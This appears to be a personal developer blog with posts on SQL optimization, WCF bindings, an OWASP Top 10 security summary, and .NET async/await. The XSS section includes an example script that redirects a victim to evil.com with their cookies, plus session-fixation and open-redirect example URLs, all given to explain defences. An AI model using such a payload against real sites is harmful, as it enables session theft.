Wednesday, June 29, 2016

Procedure Optimization Techniques

  1. Set nocount on: Sql counts and returns number of records effected sql statement. Sql skip this if we set set nocount on.
  2. Use Schema name with objects: Use schema name with objects. Ex. Before execution sql will first try to find sp with this name in all schemas even a cached plan available then it pics the cached plan so it degared performance.
  3. Don't use sp_ prefix: sp_ format is used in master database for procedures. For sp_ pattern sql first searches sp in master database then in current session db, this degrade performance.
  4. Use 1 instead of column or * : When we need to check whether a record is exist or not.
    IF EXISTS (SELECT * FROM Emp where name like '%Ram%') --Avoid
    IF EXISTS (SELECT 1 FROM Emp where name like '%Ram%') --Recmmonded
  5. Use sp_executesql procedure for dynamic queries: This procedure supports parameter. A cached plan can be reused for sql queries also but if there is no change in query (single character) even of spaces. with sp_executesql you can pass parameters so query remain unchaged if you change parameter value
    Ex.
    --Avoid
    SET @Salary = 25000
    SET @Query = 'SELECT * FROM dbo.tblEmp WHERE salary > ' + @salary
    EXEC (@Query)
    --Recommended
    SET @Query = 'SELECT * FROM dbo.tblEmp WHERE salary = @salary'
    EXECUTE sp_executesql @Query, N'@salary int', @salary = 25
  6. Avoid Cursors: Use while loop wherever possible in place of cursor as cursor consumes more sql resources.
  7. Keep Transaction short as short as possible: Transaction uses locks that blocks other executions it degrades performance, so keep transaction shorter.

Tuesday, May 3, 2016

Difference b/w asmx web service and WCF service

Difference b/w asmx web service and WCF service

Term
Web Service
WCF service
Protocol
Http only
Http, TCP, MSMQ, NamedPipe
Security
Limited (Protocol security only)
Vast (Protocol, transactions, secure messaging)
Hosting
IIS only
IIS, WAS, Self-hosting
Serializer
XML only
Data contract serializer
Duplex
One way
Two way request response (Duplex)

WCF Bindings

There are various binding supported by WCF -

          Old Client Support
  1. basicHttpBinding : Its designed to replace old ASMX web service. Supports Http and Https. Its specifically usefull to support SOAP 1.1. It doesn't support WS-* specifications like WS-Addressing, WS-Security, WS-ReliableMessaging

    Featured Internet Communication
  2. wsHttpBinding : This binding supports WS specifications, so its provide more security and reliable messaging. By default SOAP messages are encrypted. Support sessions. Supports Http and Https.
  3. wsDualHttpBinding : Its same like WSHttpBinding with support of duplex communication. It supports MEP (Message Exchange Pattern). Service as well can communicate to client via callback.
  4. wsFedratedHttpBinding : Its specialized form of WS binding with fedrated security.
  5. webHttpBinding : This binding is used to make Restful wcf service.

    Single Computer
  6. netNamedPipeBinding : It is usable when service resides in single computer only.

    Same Business Network (Intranet)
  7. netTcpBinding : It can be considered as enhancement over .Net Remoting. Uses Tcp binding. It provide security and reliable message transfering. Supports sessions. It provide best performance because both the ends have same .net technology. It uses Binary encoding of messages for transport.
  8. netPeerTcpBinding : Its same like NetTcp with peer to peer communication scenario.

    Disconnected Communication
  9. netMSMQBinding : When you required that your service can work in disconnected scenario (Without establishing communication channel).
    It creates queue for messages and pick messages to process from queue. It provide secure message queuing.
WCF bindings
Binding
Protocol/
Transport
Message Encoding
Security
Default Session
Transaction
Duplex
BasicHttpBinding
Http, Https
Text
None
No
-
-
WSHttpBinding
Http, Https
Text
Message
Optional
Yes
-
WSDualHttpBinding
Http, Https
Text
Message
Yes
Yes
Yes
NetTcpBinding
TCP
Binary
Transport
Optional
Yes
Yes
NetNamedPipeBinding
Named Pipe
Binary
Transport
Yes
Yes
Yes
NetMsmqBinding
MSMQ
Binary
Transport
Yes
Yes
No
WSFederationHttpBinding
Http, Https
Text
Message
Yes
Yes
No
NetPeerTcpBinding
P2P
Binary
Transport
-
-
Yes


Scenarios to choose Binding
  • If service to be consumed by clients compatible with SOAP 1.1, use basicHttpBinding for interoperability
  • If service to be consumed within the corporate network, use netTCPBinding for performance
  • If service to be consumed over the internet and the client is a WCF compatible, use wsHttpBinding to reap full benefits of WS* specifications
  • If service to be accessible only in the same machine, use netNamedPipeBinding
  • If service to be queue messages, use netMsmqBinding
  • If service to act as server as well as client in a peer to peer environment, utilise netPeerTcpBinding setting

Sunday, February 21, 2016

Web Application Security

Top 10 web security vulnerabilities by OWASP(Open Web Application Security Projects) last released in 2013 in my words



A1 - Injection
Threat Agents: Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators.
Exploitability: (Easy) Injection some time lead complete host takover
Reason:
Dynamic inline queries
Some time failed queries with errors got displayed on users screen.  hacker prepare work around by using that

Protection:
Use safe APIs (Application program interface)
Use parameterized APIs
Restrict untrusted data using
-encoding
-White list of characters
-Use strong server side validation

A2 - Broken Authentication and Session Management
Threat Agents: Consider anonymous external attackers, as well as users with their own accounts, who may attempt to steal accounts from others. Also consider insiders wanting to disguise their actions.
Exploitability: (Average) Attacker uses leaks or flaws in the authentication or session management functions (e.g., exposed accounts, passwords, session IDs) to impersonate users.
Reasons:
Storing user credentials without hashing or encrypting them: User / password can be traced using tools like fiddler
Easily guessed passwords: Easy passwords can be guessed
Poorly secured password change features: Password could be steal, How much we can trust on email, Sending password to email not right way
Poorly secured password recovery features: Easy security questions not enough, like DOB, mothers maiden name
Session IDs exposed in a URL: If your application exposes session id in url, easily hacker fixate session. A hacker will mail you similar link to your site with a id www.xyz.com?SID=jvsnfhi8e94. when you click the link and login, hacker will use same link and browse inside system.
Session IDs don’t reasonably time-out or sessions aren’t properly invalidated during logout: If a user leave or just close the browser on a public machine (cafe)
Same links can be opened by others(from history) and he can do anything with previous logged in user's account
Session IDs aren’t rotated after a successful login:
Passwords, session IDs, and other credentials are sent over unencrypted connections: Tools like fiddler can trace & show Passwords, session IDs, and other credentials
Browser caching is enabled: A hacker can use cached credentials
Protection:
Storing user credentials without hashing or encrypting them: Use hashing/encryption with salt
Easily guessed passwords: Enforce password policy like one capital letter, one small letter, one number, one character 8-16 length
Poorly secured password change features: Don't send old password to user, send one time link to change password
Poorly secured password recovery features: use security question/otp while changing password
Session IDs exposed in a URL: Session id must be generated from server only, don't expose session id in url, use cookies
Session IDs don’t reasonably time-out or sessions aren’t properly invalidated during logout: Destroy & regenerate session after a fix period of time. Destroy session on logout.
Session IDs aren’t rotated after a successful login: Always generate new session id on login
Passwords, session IDs, and other credentials are sent over unencrypted connections: Use secure connection, encrypted / signed data transmission, use https
Browser caching is enabled: Disable caching on browser
Note: Even cookies can be hacked so most secure way is to create new session id on each request and send to client

A3 - XSS Cross Site Scripting
Threat Agents: Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators.
Exploitability: (Average) Any source of data can be an attack vector, external user input or internal database data(infected data)
Protection:
Use encoding or sanitization before execution data on browser even from database
The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL)
Use white list of characters
Use CSP (Content Security Policy) : Defined by W3C, that defines loading behaviour of various resources in HTTP Response header
Set correct content type
Set safe character set (UTF-8)
Set correct locale
Output encode all user data as per output context
Set input constraints
www.xyz.com?Fname='megha'
Place the script in place of name 'megha'
<script>
   window.location=“http://evil.com/?cookie=” + document.cookie
</script>
When this Fname will be executed on browser this will redirect to evil.com server and with cookie information of vulnerable site, now hacker can also use session
and other info from cookie

A4 - Unsecure Direct Object References 
Threat Agents: Consider anyone who can access system object(s), including external users & internal users.
Exploitability: (Easy)
This type of attack is possible when a file name, resource name, any id, database key is exposed in url. A hacker can manipulate the id to access other objects
for those he is not authorized.
Detection:
Testing - Testers can easily manipulate ids and check vulnerability
Code review

A 2010 security breach that leaked the email addresses of over 114,000 Apple users including politicians and CEOs was the result of an unsecure direct object reference in system of AT&T.

Protection:
Encrypt urls
Authorize internal/external user(s) before giving access on any object
OWASP's ESAPI library includes reference maps for developers to ease the implementation

A5 - Security Misconfiguration
Threat Agents: Anyone who can access application network, regular users.
New generation application has increased surface area like web, app, DB servers, SAN storage, firewalls so chances of security whole also increased.
Its good that new generation applications comes with all security implementation but it require configuration of inbuilt security features.
Exploitability: (Easy)
This kind of flaws refers to production ready applications. It refers insufficient or non configured inbuilt security features and left security wholes like
unused files, pages, default accounts, firewall configuration, services configuration.
Sometime we missed to secure unused pages because they are unused, a hacker can enter from this whole like url encryption not implemented for unused page(s).
Sometime we missed to close or changing password for default account, a hacker can enter from this whole
Protection:
Read security documentation and configure inbuilt security features of application like (Configure DOS prevention attack in IIS)
Change password for default account
Disable unused unnecessary features
Prevent displaying stack traces to user
Run tools (like automated scanner) and perform regular audits to identify holes in the security configuration

A6 - Sensitive Data Exposure 
Threat Agents: Consider anyone who can access the system, including external users, internal users.
Data that have strong effects if stolen on image of your organisation and application is sensitive like Credit card information, user credential, Tax id etc.
Exploitability: (Difficult) This is difficult to hack but hackers are highly motivated to it because of its potential payouts. This could lead serious crime like bank account hacking.
Protection: Encryption with salt is the way of protection
Sensitive data should be salted & encrypted when on users browser
Sensitive data should be salted & encrypted when during transportation
Sensitive data should be salted & encrypted when even in database
Disable caching for pages dealing with sensitive data
Use TSL/SSL for secure transportation
Prevent XSS

A7 - Missing Function Level Access Control
Threat Agents: Consider anyone who can access the system, including external users, internal users.
Exploitability: (Easy) An user can access resource(s) on those he is not having access
Mukesh access his private diary using link www.mydiary.com?uname=mukesh, now mukesh can manipulate link and access megha's personnel diary
like www.mydiary.com?uname=megha
Protection:
Make structure like give any resource(resources/functions/pages) access to user who required only not to others
Make access denied to all resources(resources/functions/pages), then make white list of authorized system users with mapped to resources, now on every request to any resource check with list whether requester have or not access on requested resource.
Implement role based Authorization
Implement server side Authorization

A8 - Cross Site Request Forgery (CSRF)
A malicious site sends request to vulnerable site to access a page or perform some action where user is logged in.
Threat Agent: Any one who can load data into your user's browser
Exploitability: (Average) Attacker creates forged HTTP requests and tricks a victim into submitting them via image tags, XSS, or numerous other techniques. If the user is authenticated, the attack succeeds
Protection:
Send token with every request and validate token before serving the request at server side.
ASP.net apps :
Prevent XSS
Asp.net web forms:
ViewStateUserKey = Session.SessionID then viewstate will act as a form token
Protect SessionID using Hashing and Encryption
Use SSL to prevent sniffing of SessionID and ViewState
Either create a BasePage and add the following code in that and check ViewState for forms and inherit all the pages from this base page.
protected override OnInit(EventArgs e) {
     base.OnInit(e);
     if (User.Identity.IsAuthenticated)
        ViewStateUserKey = Session.SessionID; }
MVC:
Use AntiForgeryTokens
Use SSL to prevent sniffing of AntiForgeryTokens
Mark action with attributes [HttpPost] & [ValidateAntiForgeryToken()]
Send '_ReuestVerificationToken' with ajax calls
@using (Html.BeginForm())
                {
                    @Html.AntiForgeryToken();
                     <fieldset>
                      Select a file <input type="file" name="file" />
                     <input type="submit" value="Upload" />
                      </fieldset>
                }


A9 - Using Components with Known Vulnerabilities
Threat Agent: Third party components
In today's world every one is using third party component (including open source libraries) in their projects. No doubt using external components add values in terms of time and efforts. But external components may open door for security breach.
Exploitability: (Average) Attacker identifies a weak component through scanning or manual analysis and customize the attack.
Reasons:
Using external components having vulnerabilities
Using open source components
Open source components are managed by volunteers not companies
Many of the open source components have 20 year old code
Most of the providers are quick to inform users but lack of awareness in users leads the issues
Due lack to awareness users not accept released updates and fixes
Protection: 
Take time to analyse component that you are considering by reading provided document, read forums, read feedback of the product
Be aware about updates from providers
Accept updates and fixes sent by provider
Sand boxing is the solution for unknown vulnerabilities in an external component:
Make your won wrapper library
Mark your library 'SecurityTransparent' so this will not be able to access 'SecurityCritical' code
Call external component in your library
Assign only required access to your library
Run the library in your own app domain with limited required permissions

A10 -  Unvalidated Redirects and Forwards
Threat Agent: Application users, other websites & HTML feeds
Exploitability: (Average) Unvalidated Redirects and Forwards can lead to steal access to unauthorized resources, credentials etc.
A hacker can use Redirect or forwards implemented in your application to redirect logged in user to his(ex. www.ghost.com) site.
User can believe and can enter credentials because url also shows actual(user's site) site name
Ex. www.xyz.com?redirect=mysite.com
A hacker can manipulate it to steal data or , cookie or credentials www.xyz.com?redirect=ghost.com
Protection:
Don't use Redirects and forwards
If can't avoid do not determine destination by a user input
If can't avoid validate input and authorize for logged in user
Avoid external redirects or forwards
Use white list of destinations (pages)
Verify referrer links from white list
Disable unused redirects

Saturday, November 14, 2015

Non Blocking Programming (Async, Await & Task)

⚙️ What is async / await in .NET?

In simple terms:

async and await enable asynchronous, non-blocking programming in .NET.

They allow your app to perform long-running tasks (like database calls, file I/O, or API calls) without freezing the main thread.



🧩 Why Do We Need It?

Imagine a web API endpoint that calls a database and waits for the response.
If this were synchronous, that thread would just sit idle waiting — wasting server resources.

But with async/await, the thread is released back to the thread pool while waiting.
That means:

  • Better scalability — more requests can be handled.

  • No UI freeze (in desktop apps).

  • Efficient use of system threads.


🧠 Key Concepts

ConceptDescription
async keywordMarks a method as asynchronous — allows use of await inside it.
await keywordSuspends the method until the awaited task completes, without blocking the thread.
TaskRepresents an ongoing operation (future result).
Task<T>Represents an async operation that returns a result.
void async methodsOnly used for event handlers — otherwise avoid.

💡 Example

🔹 Synchronous method (blocking)

public string GetData() { var data = File.ReadAllText("data.txt"); // blocks until done return data; }

🔹 Asynchronous method (non-blocking)

public async Task<string> GetDataAsync() { var data = await File.ReadAllTextAsync("data.txt"); // non-blocking return data; }

✅ While waiting for File.ReadAllTextAsync() to finish,
the current thread is released to handle other work.


🧩 Example in ASP.NET Core Controller

[HttpGet("user/{id}")] public async Task<IActionResult> GetUser(int id) { var user = await _userRepository.GetUserByIdAsync(id); return Ok(user); }

Here:

  • The thread executing this request can return to the thread pool while waiting on the DB.

  • Once the task completes, .NET resumes the method and sends the response.

This allows ASP.NET Core to handle many concurrent requests efficiently.


🔄 Async Flow Diagram

Request → Controller → await Repository call → Thread released ↓ DB operation completes ↓ Continuation resumes → Response sent

🧠 Behind the Scenes

When the compiler sees async and await, it:

  • Transforms the method into a state machine.

  • Handles continuations automatically (what happens after the task completes).

  • Avoids the need for callbacks or manual threading.


⚙️ Best Practices

✅ Use async all the way down (from controller → repository → I/O).
✅ Return Task or Task<T> (not void).
✅ Use ConfigureAwait(false) in library code (not needed in ASP.NET Core usually).
✅ Avoid blocking calls like .Result or .Wait() — they can cause deadlocks.
✅ Combine async calls efficiently using Task.WhenAll().


🧾 Summary Table

AspectSynchronousAsynchronous
ThreadBlocked until work completesFreed while waiting
PerformanceScales poorly under loadScales efficiently
KeywordNoneasync / await
Return typeTTask<T>
Use caseQuick operationsI/O-bound operations

⚙️ Real-world Example in AWS/.NET

If your ASP.NET Core Web API calls:

  • AWS DynamoDB

  • S3 file upload

  • SNS message publish

All those SDKs have async methods (e.g., PutItemAsync, UploadAsync, PublishAsync).
Using await makes them non-blocking, improving throughput.

-----------------------------------------------------------------------------------------------------------------------------

🧩 Difference between Task and Task<T>

FeatureTaskTask<T>
Return TypeRepresents an asynchronous operation that does not return a value.Represents an asynchronous operation that returns a result of type T.
Equivalent to (sync)Like void in synchronous methods.Like returning a value of type T in synchronous methods.
UsageWhen the method performs work but doesn’t need to return a value.When the method performs work and returns a value asynchronously.
Example Method Signaturepublic async Task DoWorkAsync()public async Task<int> GetCountAsync()
How to Awaitawait DoWorkAsync();int count = await GetCountAsync();
When to UseFire-and-forget tasks (but still awaitable) like logging, sending email, etc.Database calls, HTTP requests, file reads, calculations, etc.
Completion HandlingOnly completion (success/failure)Completion plus a result value

🔹 Example 1 — Task (no return value)

public async Task SendEmailAsync(string to) { await emailService.SendAsync(to, "Welcome!", "Thanks for joining us!"); }

Usage:

await SendEmailAsync("user@example.com");

✅ You’re waiting for completion — but there’s no result to retrieve.


🔹 Example 2 — Task<T> (returns a value)

public async Task<int> GetUserCountAsync() { return await _dbContext.Users.CountAsync(); }

Usage:

int count = await GetUserCountAsync();

✅ You’re waiting for the task to complete and getting back a result (int).

Friday, November 13, 2015

Mark a method Deprecated (Obsolete)

Using Obsolete attribute a method can be marked as Deprecated.

Three overloaded methods for Obsolete 
1. Mark a method Deprecated
2. Mark a method Deprecated with showing message (suggest new method to use)


2. Mark a method Deprecated with making it error on compilation


Thursday, November 12, 2015

var Keyword

Defining a variable as var enables to assign any data type value. var is implicit data type declaration.
var str = "hello";

var num = 10;

var is statically defined: Compiler checks assigned value to var and create data type accordingly at the declaration (compile time)
var num = 10; //compiler creates num as int at this declaration
var str = "hello"//compiler creates str as string at this declaration

var is strongly typed: At declaration compiler create appropriate data type by checking assigned value so from next statement of declaration variable behaves like strongly typed variable
str++ //error because its now string
num++ //allowed because its now int
intellisense showing all prop/methods of string for 'str'


object dynamic can also be used but these both resolved at run time. They are dynamically defined and not strongly typed.

CI/CD - Safe DB Changes/Migrations

Safe DB Migrations means updating your database schema without breaking the running application and without downtime . In real systems (A...